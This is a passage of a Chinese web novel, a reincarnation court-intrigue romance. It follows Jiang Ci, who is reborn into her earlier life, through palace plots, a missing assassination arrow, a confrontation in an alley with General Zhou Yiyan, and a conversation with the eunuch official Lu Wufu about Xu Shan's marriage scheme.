昨日在宫宴上丢了脸,还大吵大闹惹得谢挽不开心,萧茵小心翼翼看了谢挽一眼。
“女儿今后不会给母后丢脸了。”她低声道。
“我从不觉得茵儿给我丢脸了。”谢挽收回手,又牵起她的手,轻轻抚上去。
心中生出个主意,眼底闪了闪:“那请姜二姑娘入宫指导茵儿一番如何?”
萧茵听完,顿时觉得无比屈辱,蹙眉高声道:“母后!”
怎么可以让姜瓷来指导她,这不是就是承认她不如姜瓷了吗!
萧茵满脸委屈地看向谢挽,却见她淡笑着,那笑中带着淡淡的寒意。
毕竟是在后宫里的女人,谢挽虽平日里看着温和,收拾起人来却也是雷厉风行。
萧茵瞬间读懂了她的意思,委屈一扫而尽:“那便让她进宫吧!都听母后的。”
“茵儿懂了便好,天下没有母亲会让自己的孩子吃亏。”谢挽淡淡笑着。
这话说的隐晦,但两人都已心知肚明,萧茵眼中闪过一抹狠辣。
在宫中能出的事情太多了,届时谁来了也鞭长莫及,她再胡诌个借口,旁人看她是公主也不敢质疑她。
她必须要让姜瓷知道,敢羞辱她的代价!
冬雪在一旁听着,瞬间明白了其中的意思,顿觉不寒而栗,背后发颤,将头埋的深深的,仿若没听见。
她跟了谢挽这么些年了,多少知道点她的手段,一时间替那位姜府姑娘感到可惜。
谢挽牵着萧茵走出房中,看着外头飘落的雪花,想起那日见到的姜瓷,一身暗红斗篷黑绒毛,看起来贵气极了。
虽看上去生的清淡,却因为突出的气质,也能将那般颜色撑起。
她不由得轻哼一声,难怪谢祈会那般紧张,情爱之事,她是过来人,看得当然透彻。
谢祈今日敢为她威胁自己,那明日便敢为她把刀架她脖子上,这般小心呵护那谢挽偏要让他知道威胁自己的代价。
在宫宴上敢那般猖狂,还真就她这侄子做的出来。
28.第 28 章
宽敞的庭院中,青石铺地,池塘水中冰未化开,亭台中周以延坐在石凳上,手中捏着本书,随意看着。
萧策答应了他的要求,按理说那箭很快就能送到。
不知为何,他敏锐的觉得,那箭上有问题,要说那人射偏他是不信的,但若那箭本意就不是为刺杀皇上就说的通了。
当时的周以延便觉得有些奇怪,那箭分明离谢挽更加近。
将军府外,内廷张公公整理了下衣服,前方侍卫刚抬手准备叩门,便被一道紫色身影拦了下来。
陆无浮轻笑道:“张公公,那箭给咱家一看。”
“这……”张公公躬身为难道,“不瞒您说,那箭没找到,今日上门便是为了告诉将军这事。”
没找到?陆无浮不自觉地扬了扬眉毛,怎么会没找到。
按理说这等大事,所有东西都会保管妥善。
陆无浮昨日听周以延向萧策要心里就隐隐有察觉,周以延向来敏锐,那箭想来应是有些蹊跷。
他狭长的眸子瞧着张公公,刚想细问,将军府那门猝然打开。
周以延眉目深沉站于门前,两人齐齐转头看去,他身着一身白袍,同往日很是不一样,多了几分清冷公子的味道。
周以延嫌恶地看了眼陆无浮,不耐道:“你为何在这?”
“咱家关心大将军查的如何了,来看看。”陆无浮丝毫没有被抓包的心虚,“将军不请咱家进去坐坐吗。”
周以延心中暗骂他好生不要脸,盯他几瞬移开了视线,转眸看向张公公眼中透着淡淡的凌厉和审视
张公公心虚地抬手用袖子擦了擦额上的薄汗,不敢去看他。
三人僵持着,不知过了多久,周以延终于转身发话:“进来。”
陆无浮眉骨一动,抬脚便要往里走,谁知周以延忽然转身抬掌便要往他胸口打去。
陆无浮眸光一闪,侧身躲开,他看着周以延有些阴鸷的眸子,勾唇笑道:“将军何必动怒,不让咱家进,咱家走便是了。”
周以延喉间哼出一声:“什么该听什么不该听,望厂督心中有数。”
张公公在一旁心惊胆战地悄悄走了进去,想着远离这场纷争。
陆无浮却忽然看向他,高声道:“张公公。”
他立刻回头:“在。”
“这事儿咱家配听吗?”陆无浮轻笑着问,透出淡淡的威胁。
“配,当然配。”张公公快速说完,想起来什么,小心翼翼地瞧了眼周以延,又话锋一转,“只是这……这……”
他眼珠转了几圈也想不出来个能圆的话,被两人夹在中间紧张极了。
陆无浮嘴角挂着轻蔑地笑,也没打算为难张公公了:“既这般,那咱家也不叨扰了。”
他抬眸轻嘲般扫过周以延,转身抬脚便离开了将军府,他刚走出,屋顶忽然传来几声凄厉的叫声。
一只漆黑的乌鸦落在亭子顶上,羽毛泛着浓密的光亮,眼睛黑亮又锐利,夕阳落在上面,隐隐闪烁着。
周以延见他走,眉头舒展开来,转身就往亭子里走去,坐在石凳上拿起那本书接着看下去。
“东西呢。”他忽然开口。
张公公正色躬身道:“咱今日来便是为了知会将军,那箭丢了。”
周以延神色一动,转头看向张公公,手中指尖猝然捏紧,书本被压得凹陷,他细嚼那两个字问道:“丢了?”
张公公轻声答是,周以延冷笑一声:“丢给谁了?”
张公公满眼为难,抬头看周以延一眼:“这……”说完又飞快低下头去。
周以延心中明了,眉心闪过一抹厌恶,看了眼身边站的下人。
那下人立马反应过来,从腰间掏出来个沉甸甸的银袋,塞给了张公公。
他顿时喜笑颜开,掂量了下放进袖中,笑着道:“咱只知皇后娘娘寻了,其他便不知道了。”
他话落,亭顶的乌鸦又发出一声凄厉的哀嚎,张开黑色羽翼飞了出去。
陆无浮漫无目的地走在墙边,斜阳西落,印在房屋上照出一小段阴影。
他踏在阴影中,仿佛溶于其中,与外面成了两个世界。
走至清冷小巷中,突兀而尖锐的声音再次响起,陆无浮抬眼看去,支起了手。
那乌鸦竟直直落在了他那枚白玉戒指上,眼睛如两颗黑宝石一般,微微弯曲的喙一开一合。
片刻后,陆无浮心下闪过一抹异色,轻轻开口:“谢挽?”
那乌鸦像是听懂了般回应着,又叫出一声。
陆无浮心下了然,抬手又将乌鸦放飞了出去,带乌鸦飞远,他还立于巷中,神色晦暗不明。
他从上一世时便觉得那两人长得像,只是最后谢挽也死在了那人的剑下,因此今生就算有所猜测也不不敢全然当真。
这世间瞬息万变,一步行差踏错,最后便会死无葬身之地。
谁曾想谢挽居然真的拿了那支箭,那便能解释的通了,是想传递什么信息。
不,陆无浮很快在心中否定了,真的要传递什么信息没必要等着宫宴,人多眼杂之时,走这一步险棋。
可若是从上一世谢挽被那人杀了的方向来想,陆无浮往前方慢慢走着,忽然想到什么。
难道是想要威胁谢挽?
他慢慢勾起了唇角,走着走着眼前却突然明亮起来,一片灯红酒绿。
竟莫名走到了万春楼,楼前一个珠圆玉润的中年女子化着浓艳的妆,掐着尖细的嗓子迎着客人。
他忽地就想起那天同姜瓷说的,若有空至万春楼一聚,姜瓷虽嘴上应下,却是半点看不出想来的意思。
没想到自己就下意识走到了这里,陆无浮顿时失笑,眼底又划过一抹酸涩。
他走至万春楼前,那中年女子见他穿着不凡,一眼是贵家公子范,急急上前谄媚道:“公子快里面请。”
陆无浮轻笑颔首:“要二楼那个视线最好的位置。”
那女子刚刚还笑着的脸上突然浮现出一抹为难:“那位置有人提前………”
“加钱。”陆无浮淡淡开口。
“当然没问题!”那女人立马笑了起来,引着他便往楼上走去。
*
昨夜是上元灯会,却因为入宫耽误了些时候,待姜瓷到长街时只余下一片狼籍。
上元灯会一年只一次相当难得,重活一世却错过了,难免觉得有些可惜。
姜瓷一手撑着头,另一手指尖一下一下地敲在石桌子上。
她忽然想起什么,朝一旁的竹月问道:“今日怎么没见着谢祈。”
她眸子垂着,想起昨日马车中那个受伤的人,今日再去寻已经不见
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了。
姜瓷忽地又想到他说的那个名字,轻轻在心中念了一遍,絮安。
他有名,为何还肯用她取的名字。
“小姐!奴想起来了!”竹月高声夸张道,“昨夜他背着那个人直接飞了出去!”
姜瓷颔首,心中沉思着,那人伤得重,天寒露重去外头能寻着大夫吗。
还是说他本身就有办法保下那人的命。
想来也是,能从牢中带走三人,还安然脱身的能没些手段吗。
她淡淡叹息一声,身后却忽然传来一道声音:“阿昭为何叹气?”
这称呼惹得姜瓷一愣,转头却见着姜棣一身绛色长袍斗篷,黑绒毛领,倒是跟她宫宴穿得有些相似。
“哥哥。”姜瓷站起轻声喊道,“你怎么来了。”
姜棣约莫比她高出一个头,姜瓷今日里头一声浅青色长袍,外头拢着一件墨绿色斗篷,两人站一起养眼极了。
只是明明是兄妹两,长相却各有特色,姜棣眉目深邃,姜瓷确实一副清淡模样。
“昨日灯会未能去成,今日集市却也热闹。”姜棣顿了顿,打量了片刻她的神情,接着道,“若你想去……”
姜棣未说完她便快速点了点头,刚才还略微有些觉得可惜的心情一扫而空。
“当然去!”
她说着便拉上姜棣的袖子:“那还等什么,快走吧。”
姜瓷回来这么些天,一直紧绷着,难免觉得有些疲乏,若能放松放松也是好的。
她看眼竹月,示意她跟上,竹月这才回过神来,小跑过去。
竹月方才有些欣慰,在她眼中姜瓷向来都是那种拒人于千里之外的性子。
如今更是谨慎,李氏的坏心思也能看穿,可就是好久没见小姐这般开心了。
只有在自己的亲人面前才能放松吧。
竹月又不免想到姜卓远,虽是她的父亲,却未能给到一点关心,她又替姜瓷一阵难过。
*
尚书府内,李氏在屋内焦急地转悠着,她双手搭在身前,眉头蹙着,满脸的担忧。
“姨奶奶,别担心了,三小姐很快就会回来的。”那婢女在一旁劝解道。
“我怎么能不担心!她都出去一天了。”李氏瞪那人一眼,又坐回椅子上,“派出去跟着的人可有说法?”
“回姨奶奶,那些人说……”婢女神色为难,瞧了一眼李氏的神情,硬着头皮道,“跟丢了。”
“什么!”李氏猛地站起,又一阵头晕,手扶着额头颤声道,“快去跟老爷说。”
那婢女急急应是,说着便要走,身后李氏又想起来什么,扶着椅子边,伸手急道:“等等!”
“不可!不可!不能去。”
她重重咬着唇,想到今日在姜嫣房中发现的书信,那人约着姜嫣出去,而最后的落款是,许山!
李氏当然知道许山是谁,姜嫣一直爱慕的那人,兵部的郎中。
若是真叫姜卓远去寻,男未婚女未嫁,独处这般久,叫人污名声便不好了。
李氏一时头疼却又想不出来解决的办法,能做的也就只有等着姜嫣回来。
那婢女在房前走也不是,站着也不是,小声喊道:“姨奶奶……”
李氏长舒口气冷静下来,坐回椅子上,吩咐道:“去给我端壶茶来。”
29.第 29 章
“主子……”银泉虚弱地躺在床上喊道。
他被谢祈带出尚书府后,两人随意寻了一处客栈,谢祈给他喂过药后命算是保了下来。
这客栈处于长街中,此时楼下的长街集会一片热闹,同这屋子里的清冷对比鲜明。
烛火晃动,印在谢祈的侧脸,他抱胸靠在木柱子上,薄唇轻抿着。
昨日他将银泉安顿好后,又回了尚书府,那时寒风萧瑟,他小心翼翼地踩上一片瓦砖,刚准备跳下去。
便听见屋内传来一道男声:“离那侍卫远一些。”
谢祈不知怎么的,心里一紧,忽然就停下了脚步,他也不知道自己在等什么。
脚下雪被踩住渐渐散开,他只觉自己等了一辈子那么久,听到少女浅笑着的声音:“放心吧哥哥,我知道。”
这回答不算锐利,可不知道为什么,谢祈就是有种难言的委屈。
又想起姜棣看他时的那般眼神,似厌恶似挑衅,他心中隐隐升起一抹嫉妒。
谢祈只觉得千万种情绪铺天盖地向他涌来,包围着他。
“主子。”银泉见谢祈未理睬,又喊了一声。
谢祈这才回过神来,抬眸看去,漆黑眸底一抹寒意还未来得及收敛。
银泉不由得咽了咽口水,小心翼翼道:“大将军若是找到我们该如何。”
“那便杀。”谢祈冷冷道,“只他一人我能对付。”
“为了那个姑娘。”银泉抬头看向他,欲言又止,缓缓道,“值得吗。”
谢祈像是在思考这句话似的,眉头渐渐凝聚,想起昨日在屋顶上听见的话,他忽然勾唇笑了:“不值得。但我一定会做。”
他淡淡往窗口走去,却看见了一抹熟悉的绿色身影。
*
夕阳余晖下长街已经亮起了红色的灯笼,一副过年喜气洋洋的景色,定京无限繁华在这一刻体现的淋漓尽致。
街头巷尾,各种摊铺商人吆喝着,人潮涌动,一片欢声笑语。
姜瓷拉着姜棣的袖边行于其中,她望着眼前景色,眉眼弯弯笑着。
姜棣垂眸看向斜前方的她,真是很久没见过她这样开心了。
人群拥挤,姜瓷看向前方的糖葫芦铺子,拉着姜棣便朝那方走去。
可一个擦身,她蓦地停下,方才那两人怎么那般像姜嫣和许山。
她微微蹙眉回头看去,身穿粉袍的女子含笑捏着跟糖葫芦,头往一旁偏着,满脸娇羞。
而旁边那人身着白衣,嘴角勾着笑,看着似温润如玉,不是许山又是谁。
姜棣见她停下,问道:“怎么了。”
“哥哥在此处等我片刻。”姜瓷说完便松开了他的袖子,快步走了出去。
姜棣下意识伸出手,想抓着她,嘴里喊出:“等等……”
墨绿袖袍却从手中滑出,他的两个字也被淹没进人海,想要去追却被人群堵住,怎么也走不通。
姜棣一人反站在人海中,看着空空的手心,慢慢收紧。
他方才也瞧见那抹白色身影了,只是没认出来是谁,能让姜瓷这般着急的人,姜棣眸子暗了下来。
他微不可查的叹了口气,转身抬眸却见到那卖糖葫芦的商人在吆喝。
*
长街繁华又喧嚣,人头攒动,姜瓷目光盯着那抹白色,一直挤着走出了人群。
只见两人一路走进万春楼,姜嫣笑得甜蜜,分明是沉浸在其中了。
她虽知道上一世两人定了婚,姜嫣爱慕许山,却并不记得他们这般早就在一块了。
再忆起上回棋局,姜瓷眼眸微沉,她并不觉得许山那般简单。
她立于万春楼对面,正思索着要不要进去,只觉得背后有人在看着她,凝神回头,却见一阵风吹过,楼上客栈的窗户动了动。
姜瓷以为自己看错了,微微松口气,定了心神决定朝万春楼走去。
手腕忽一痛,多出一股力量,猛地将她拉进巷子中。
姜瓷微微惊呼一声,反应过来迅速拔出头上金簪朝那人扎去。
眼前人一身白袍,斗篷上银狐绒毛垂在肩头,他看准姜瓷动作,捏住她的另一只手腕,扣在墙上。
巷子中一片黑暗,只有长街透过来些微光亮,不过也够让她看清眼前人。
姜瓷眉头紧皱微怒道:“周将军,你这般不合理数吧。”
她一只手被他反攥住,另一只手握着金簪被扣在墙上,姜瓷用力挣了挣却动弹不得。
周以延一言不发寒眸看着她,姜瓷蹙眉呼出一口气继续道:“堂堂大将军,当街强抢民女,不合适吧。”
“我强抢民女?”周以延反问,眼底闪过一丝危险的气息,“周某倒是想问问姜二姑娘为何跟着许郎中。”
光线只堪堪印在两人侧脸,姜瓷却是笑了。
“小女爱慕许郎中如何?”她动了动手腕,他却仍是不肯松开,“周将军再这般小女就要叫人了。”
下一瞬,周以延确实松开了她一只手腕,只不过又狠狠捏上了她的下巴。
他下颌紧绷着,眼中满是寒意:“你爱慕他?他也配?”
姜瓷下巴生疼,她从未见过周以延这般,用力偏头怒道:“与你何干,松开!”
她抵抗不了周以延的力量,于是抬手就用金簪朝周以延扎过去。
姜瓷用尽力气,周以延松开她的下巴,顺手便掐住了她的手腕。
他微微一用力,姜瓷手被掰开,金簪落在地上,发出轻响。
簪子落地瞬间,巷间忽然多出一抹黑色身影,谢祈手持短剑,直直朝周以延刺了过来。
周以延有所察觉,迅速侧身躲开,谢祈一脚踏在巷子墙上掉转方向,又将短剑刺去。
周以延眉头锁着,微微咬牙,拔出鞘中的剑接下谢祈的短剑。
顿时两剑相交,发出清脆的响声,刀光剑影间,姜瓷一时怔神,谢祈怎么会在这。
两人僵持不下,身影在狭窄的巷中交错,谢祈手指翻转,从上往下朝周以延劈去。
周以延举剑挡下,姜瓷这才反应过来,急急弯腰捡起落在地上的金簪。
她微微喘着气,抬手用簪子尖端对准周以延的脖颈,冷声道:“将军。”
一声落下,周以延斜睨过去,眼底满是寒意,谢祈忽然手上用力,周以延那长剑竟直接断成了两截。
一时间气氛凝固,簪子和短剑齐齐架在他的脖颈,散发着冰冷的光芒。
剑已断,周以延脱力般笑了声,看向谢祈的眸光中满是打量。
如此高强的武功,难怪陈羽带了十几人也落荒而逃,他知道自己方才心乱了,这才被抓住了破绽。
可就算真真正正的和他打一架,胜算又有几成,周以延并没把握。
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姜瓷下巴还隐隐做痛,她真想现在在这将周以延杀了,可是不行。
她敛了眸子,收回簪子,插入发髻中,谢祈见状,也将短剑收起。
他轻声道:“小姐。”只是这语气中怎么听都带上了一层疏离的意味。
姜瓷有所察觉,只看他一眼,却并未多问,她转眸看着周以延厉声道:“将军为何一而再再而三为难小女。”
上一世她追着他,要嫁与他,他却不分给她一个眼神,哪怕日后成亲,也是一副冷漠的样子。
如今她躲着他,说爱慕别人,他反而要刁难她,真是个奇怪的人。
可姜瓷恨他,虽知道他也只是听了皇帝的命令,被人利用,可她和哥哥难道不无辜吗。
前世嫁进将军府中,偶然听闻,皇帝早年间救过周以延一命,因此他对萧策忠心耿耿,立下死誓,要拥护萧策一生。
是真是假姜瓷不知,可她只知道萧策不配,百姓民不聊生他不在乎,却格外多疑。
有多少无辜的人被他蒙冤处死,她固然愤怒可又无能为力,重活一次她只想救哥哥,救自己。
周以延淡笑着:“刁难?若周某要刁难,姜二姑娘认为你现在还能站在这里?”
他要是想刁难她,早就将她告到萧策那方,带人将她捉拿了。
还容得这侍卫现在对他刀剑相向?
周以延刚才听到她说爱慕许山,心中不知为何突然就无比愤怒。
蓦地生出一种情绪,想要把她抓回将军府中关起来,仿佛她本就应是那儿的人。
姜瓷一时无言,她虽不知为何刺客之事迟迟未有动静,但任谁都能看出来周以延的确没有把事做绝。
见她不说话,周以延也没有多留的意思,深深看了谢祈一眼,独自走出了巷子。
留谢祈同姜瓷两人在暗巷中。
“多谢。”姜瓷垂眸,却又微微蹙眉,“你为何会在这?”
她手腕上还有刚才周以延抓着留下的红印子,谢祈全都看在眼里。
包括她刚才那句,爱慕许山。
那话他并不觉得是真的,他方才分明看见许山同姜嫣走进了万春楼。
姜瓷也绝不是因为爱慕许山才跟上去的,谢祈薄唇微抿。
想起昨晚听见的话,心中忽然有些闷,于是他冷漠道:“不过是路过。”
方才他在楼上见着周以延将她拉进了巷子中,下意识地要下来,可又回忆起她说的话,不由得停了下来,跟自己较劲。
可她的声音从巷子中传来,在喧闹的人声中却显得无比刺耳,他控制不住地便来了。
姜瓷虚了虚眸子,扫视着他,从刚才开始他便显得格外疏离,要说刚刚是猜测,现在她便是确定了。
“不开心?”
“没有。”
姜瓷狐疑片刻,自然不信,她独自思索着说,“昨夜那人我并非不想管,我后来派人去寻了没寻到,竹月说是你将他带走了,哥哥在那处,我也不好将他带出来。”
这是姜瓷唯一想到他会生气的地方,于是向他细细地解释了遍。
不过这些事谢祈应是能想到,她顿住等待着谢祈说话。
他眼睫微微盖住瞳孔,看不清神色:“不是因为这个。”
“你方才还说没有。”姜瓷忽然勾起嘴角,但片刻她又想起昨夜姜棣说的,那抹笑僵住,“你听到了?”
30.第 30 章
周以延走出暗巷,脸黑的可怕,人群之中,却跟姜棣撞了个正着。
两人看到对方都不自觉停下了脚步,姜棣上下打量着他,目光落在他一身白衣上。
他眉头陡然紧蹙,方才姜瓷是去找他了?
姜棣冷冷质问:“姜瓷呢?”
周以延顿觉好笑,喉间溢出一声嘲讽:“姜侍郎连自己妹妹都看不住,来问周某有何用?”
他看着姜棣手上捏着的那根糖葫芦,又忍不住勾了勾唇,只是怎么看这抹笑里都满是不屑。
姜棣注意到他腰间配剑,只剩个腱鞘孤零零挂在那儿。
他不知道发生了什么,冷“哼”一声,周以延察觉到他的目光,想起方才情形,嘴角慢慢放下。
“姜某还得去寻小妹,就不多留了。”说完姜棣就从他身边擦身而过。
周以延站在那方手慢慢收紧,那侍卫真是好本事,不过,姜二,来日方长。
万春楼中,舞姬在台上舞姿曼妙,彩衣飘飘,底下人一阵拍手叫好。
人潮拥挤中,姜嫣不小心被撞到,微微发出一声惊呼。
许山顺手就拉住了她,两人手交叠,姜嫣羞得不敢再去看许山。
只露出个微红的侧脸道:“许郎中……”
许山温和一笑:“不必多礼。”
两人的手却没有松开的意思,许山带着她穿过一片喧闹,行至二楼处。
“我定了万春楼中风景最好之处,今日虽不如昨夜那般,却也是难得的景色。”许山在她侧边,看不清神情。
只是这一番话已经让姜嫣心潮澎拜,为她定了万春楼中最好的位置,她怎么能不心动,一时间许山在她心中的形象更为高大。
他们走至一门前,却被两人拦下,那个身材圆润的女人道:“公子不好意思,今日这方有贵客,还请移履别处。”
“贵客?”许山蹙眉,“我先前几日就已经定下此处,什么样的贵客能让你们万春楼坏了规矩,这传出去怕是于理不合吧。”
他说的有些急切,今日带姜嫣来便是想让姜嫣更信服他一些,却出了如此差错。
许山眸子深邃,他本意是想邀着姜瓷,可那女人看上去着实不好糊弄。
他这才转移了目标,左右都是姜家人,许山自认在京中还是有人为他前赴后继的。
他第一眼见到姜嫣看他的眼神就知道这女娘绝对爱慕他。
果不其然,他只是故意与她相撞,再借此邀她出门,她一下便上钩了。
门前那女子斜着腰肢,颇有些不屑:“给钱才是硬道理,你若执意,去跟里头的人说也行。”
“你!”许山微怒,上前一步,“这就是你们万春楼的规矩?”
他虽生气,但横竖就只会说这几句话,毕竟是个文官,叫他再说什么粗俗的话他也说不出口。
姜嫣见此抚着他的手臂,柔柔道:“许郎中,莫要与旁人生冲突了,我们换一间吧。”
姜嫣自以为自己很善解人意,却没看见许山眸中闪过的一抹嫌恶。
怎么会有这么蠢笨的人,这是他先定下的地方,凭何白白让给别人。
许山咬了咬牙,敛下了眸中神色,强忍着挂上抹温润地笑:“好。”
他看向门前的人:“那劳烦你了。”
圆润女人红唇一勾,一抹不屑地笑挂在脸上,扭着腰肢给两人带路。
那处房内,陆无浮正捏着瓷杯,立于其中,所谓景色最好也并不是说着玩的。
这屋子算是万春楼中唯一的露台,侧边围栏种着一圈娇艳的花,站起身便能看见一整片长街灯火辉煌的景色。
夜色下,明月高悬,银白的光辉落在此处,还恰好能见着底下舞姬婀娜身姿。
不过陆无浮并未朝那方动半步,视线直直落在对面刚从巷间出来的少女。
她一身抹绿色斗篷,发丝挽起,头上一支金簪,跟宫宴上的她又多了几分不一样的意味。
陆无浮眸子半眯着,望向她身边的谢祈。
寂静夜空中,忽然一道轰鸣声炸出,绚烂的花火打破宁静,照亮巷中景色。
姜瓷终于能完整地看清谢祈神色,他薄唇抿着,瞧着她的裙边。
良久,吐出一个字:“是。”
姜瓷虽有所猜测,但听到他承认还是微微一怔,片刻后她又笑了笑:“不会的,我还不知道你的秘密,所以不会让你走。”
“奴没有什么秘密……”谢祈急道,抬眼却对上她那双似笑非笑的眸子。
他又顿住,若让她知晓了,那她便会远离他了,谢祈忽然闭口不言。
“何必自称奴。”她微不可查地叹息一声。
这话姜瓷从前也对竹月说过,那时竹月笑着挠挠头说不妥,她也没再强求。
她心中早已没把竹月当下人,是亲人,而他……如果非要说,那算做棋子。
一颗绝不会跳出棋盘害她的棋子。
姜瓷敛了眸子,转身向巷外走去,留下句:“我还有事,你先回去吧。”
谢祈站在那方一时居然有些无措,她是他遇到的第一个会相信他,救他的人。
因此,他想保护她,听见她说要远离他时的确委屈,现在说清楚本应有所缓解,可不知为何他心里还是堵堵的。
谢祈自认本不是什么良善之人,但面对她时总是莫名收起锋芒。
他一直看着姜瓷走进万春楼中,才抬步走出了暗巷,却察觉到万春楼上一抹视线。
又一道烟花蓦地炸开,人们欢呼雀跃声参杂其中,谢祈抬头跟陆无浮狭长的眸子猝不及防碰上。
视线相交间,陆无浮冷冷笑了声,转开了身子朝里面坐了下去。
姜瓷眉头微蹙,被周以延耽误片刻,她已经找不到姜嫣和许山的身影了。
她行至二楼,只见那身型圆润的女人歪七扭八靠在墙边,守着那厢房。
旁边站着的另一人却有点胆小甚微的模样,将头埋的低低的。
姜瓷走过去,问道:“请问两位可见过一位白衣公子带着一个粉衣女孩?”
那女人斜睨着上下打量她,看她是副贵气模样,想必是哪家小姐,于是悠悠站直了身子,答道:“前边儿那厢房。”
“多谢。”姜瓷朝她指的方向看去,“旁边那间屋子可有人?”
她话音刚落,身后厢房门突然打开,里面伸出一只白皙的手,将她拉了进去。
那女人微微发出一声惊呼,想去寻姜瓷,却见许山和姜嫣从房里走了出来。
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姜嫣瞪了那女人一眼,跟着许山下了楼,那女人自然是看到了,一时怒气上涌,掐着尖锐的嗓子就在后面大骂道:“你看什么看!”
只是她说这话的时候姜嫣和许山早已走下了楼,自然是没听见,那女人却也忘了刚刚要干什么。
屋内,姜瓷手腕一痛,下意识的想要挣扎,陆无浮却快速松开了她,将食指抵在唇边,轻“嘘”一声。
随后门外便传来那女人的叫骂声,姜瓷满脸疑惑,眉头微微蹙起,但还是噤了声。
片刻后,陆无浮负手走至窗边,轻声道:“过来。”
姜瓷虽疑虑,但还是慢步走了过去,她低头望去,姜嫣同许山正好出了万春楼。
两人眸光流转,看起来浓情蜜意,似是刚刚在一起的有情人。
姜瓷明白了他的意思,按着时间,方才他拉住她时姜嫣和许山应刚好出屋门。
只是……姜瓷眼里多了分探究,他为何要帮自己?迟疑片刻,她还是道:“多谢。”
陆无浮轻笑,不经意扫过她的手腕,却看见一片通红,他微微怔住,方才弄伤她了?
他刚才已经很注意力度,怎么会这般,陆无浮眼底划过一抹无措。
姜瓷察觉到,顺着他的目光看去,抿唇把袖子拉了拉,遮住了手腕。
她平静道:“不是厂督大人,无需自责。”
“那是?”陆无浮闻言眉头微锁,谁能这般伤她。
姜瓷依旧目视着前方,没有要回答的意思,烟花绽放开来,陆无浮借着这声,低低地叹息出一口气。
良久,姜瓷转过身道:“若无事,小女便先走了。”
她实在太想知道许山到底有什么目的,从上次开始心中便隐隐有个猜测,只是一直没机会去查。
不止是他,以及那宋御史的夫人,赵氏为何对李氏示好,还有姜卓远对赵氏的态度。
她沉着眸子快步走至门前,仿佛一切谜底都要揭开,手刚触上门,身后人有了动作。
“等等。”陆无浮打断了她的动作,坐在桌前,抬手为她斟了杯茶,“姜二姑娘有何事,不妨问问陆某,说不定能为解惑一二。”
姜瓷闻声顿住,淡淡回眸看去,探究的意味更加浓厚。
陆无浮仿若未察觉,将茶壶放回了远处,抬眸看向她,目光相撞,他做出一个请的动作。
姜瓷忽然笑了笑:“那有劳陆大人了。”
与其靠她自己花费大把时间去查,眼前有人想要帮她又何乐而不为呢。
况且她先前就有所怀疑,陆无浮对她种种都太不符合上一世。
她目光染上些狡黠,微微掀了下斗篷坐下,端起那杯茶细抿了口。
外头烟花终于停下,再绚丽也不过一瞬间,转瞬即逝,爆鸣过后又是一阵喧嚣,所有人都为之震撼。
陆无浮待人声也渐渐归于平静后,轻扯嘴角,又为姜瓷斟上杯茶。
他看向姜瓷淡声道:“姜二姑娘问前,先回答陆某一件事。”
“说。”姜瓷眉尾微微一扬,“陆大人若是平白无故告诉小女,小女还有些不安心呢。”
他眉眼染上抹笑意,白皙的手指捏起茶杯,转瞬笑意又消失,陆无浮淡淡询问道:“手腕上,谁弄的。”
31.第 31 章
“周将军。”姜瓷眼睫盖住瞳孔,看不清情绪,“现在陆大人可以回答小女的问题了吗?”
陆无浮眼睛微微眯起,又是周以延,他怎么敢?
他捏住茶杯的指节因为用力失去了血色,姜瓷见陆无浮迟迟不答,偏头喊道:“陆大人。”
他回过神来,瞬间转变了神色:“当然。”
“许郎中......”姜瓷眉头又微微蹙起,她一时不知道该如何说。
陆无浮也不急,静静等着,片刻后姜瓷缓缓道:“有何目的?”
她在心中想过许多问题,但最终还是用了最直接了当的那一个,这是她心中的疑问,也是对陆无浮的检验。
他若不知或是疑惑那姜瓷也不多问,但他若是答上来,并且还没骗她,那姜瓷就要再审视一番眼前这人了。
陆无浮自然是看出来的,同样带了两世记忆的人,自然比旁人更能参透。
他甚至觉得这个世界只有他们两人是同行的,旁人不过是演戏的配角而已。
“姜昭。”他微微勾起唇角,有些意味不明道,“你觉得陆某很蠢?”
“大人这话是何意思?”姜瓷眼神陡然变得锋利了几分。
陆无浮叹息一声轻轻摇了摇头,她还是不信任他,不过是问了一句,便要这般针锋相对。
“别动怒。”他语气中带了些自己都未察觉的安抚,“陆某又没说不答。”
姜瓷沉默着继续看着他,陆无浮败下阵来。
他答道:“许郎中家中有一位表妹,生得温婉动人,名为宁檀。”
他说完看了眼她,这是答非所问,可姜瓷却没有多余的表情,她心中思索着。
这宁檀她印象并不深刻,只记得原是宁家人,虽不是什么大门大户,但好在父母宠着,幼年也算过得锦衣玉食。
后来不知为何家族衰败,她变成了个父母双亡的可怜人,去投奔了远方表亲许家。
其余的她便什么也想不起来了,于是眉头微皱,看向他。
陆无浮见此轻笑着,继续道:“宁檀背后无权无势,许家人也当她是累赘,可为什么她能好生在许府待着呢?”
“因为许山想金屋藏娇。”姜瓷抢答道。
方才陆无浮无端说宁檀生的温婉动人,再加上许家内里她还是有所了解。
许老太太绝对不是个良善之人,无缘无故让一个远亲表妹住在许府那般久的时间定有她的理由。
不是念钱财,就是念宁檀这个人。
“不错。”陆无浮勾唇,“聪明。”他语气中皆是欣赏的意味。
两人方才还剑拔弩张的气氛瞬间消散,陆无浮轻抿了一口茶水。
“可这同许山的目的有何关系?”姜瓷有些疑惑道。
“姜二姑娘可听闻宋御史家中有一个纨绔子。”陆无浮依旧是答非所问。
姜瓷点了点头,这人在整个京中都颇为出名,原因无他,当今兰贵妃便是宋家人。
虽在朝中不甚得宠,却也生了三皇子这个儿子,多少给了宋家那个纨绔子在京城嚣张跋扈的底气。
“那你可知,他求娶了许府二小姐?”
姜瓷眉头皱起:“有什么不对的地方吗?”
许山的确还有一个妹妹,两家人也称得上是门当户对,虽宋家并未良处。
她依稀记得上一世,那人嫁去宋府没多久,便投湖自尽了。
为此姜瓷也有几分惋惜,但旁人的事情她并不想过多的插手。
“表妹,在家中也行二。”陆无浮悠悠的声音传来。
“什么意思?”她猝然抬头,“嫁过去的是宁檀?”
陆无浮颔首,姜瓷眼睫颤动,那她之前所说的金屋藏娇便被推翻了。
可是他刚才分明肯定了这个说法,那只有一种可能了。
许山或者说是许家人不想要让自家小妹嫁过去受苦,于是许山忍痛割爱,将这个表妹送了过去。
许家为何不拒婚?是因为想要巴结,还是不敢拒,宋御史能让他这般费心,不惜割爱的地方,想来想去也就只有那宫中的贵妃。
或者说,三皇子。
她不是没见过兰贵妃,那人出了名的不争宠,在宫中能坐到今天这个位置也着实稀奇。
或许是人不可貌相,姜瓷心中淡淡升起一丝警惕。
陆无浮又道:“听闻早年间,姜侍郎曾在朝堂上公然弹劾宋御史家的那个纨绔子。”
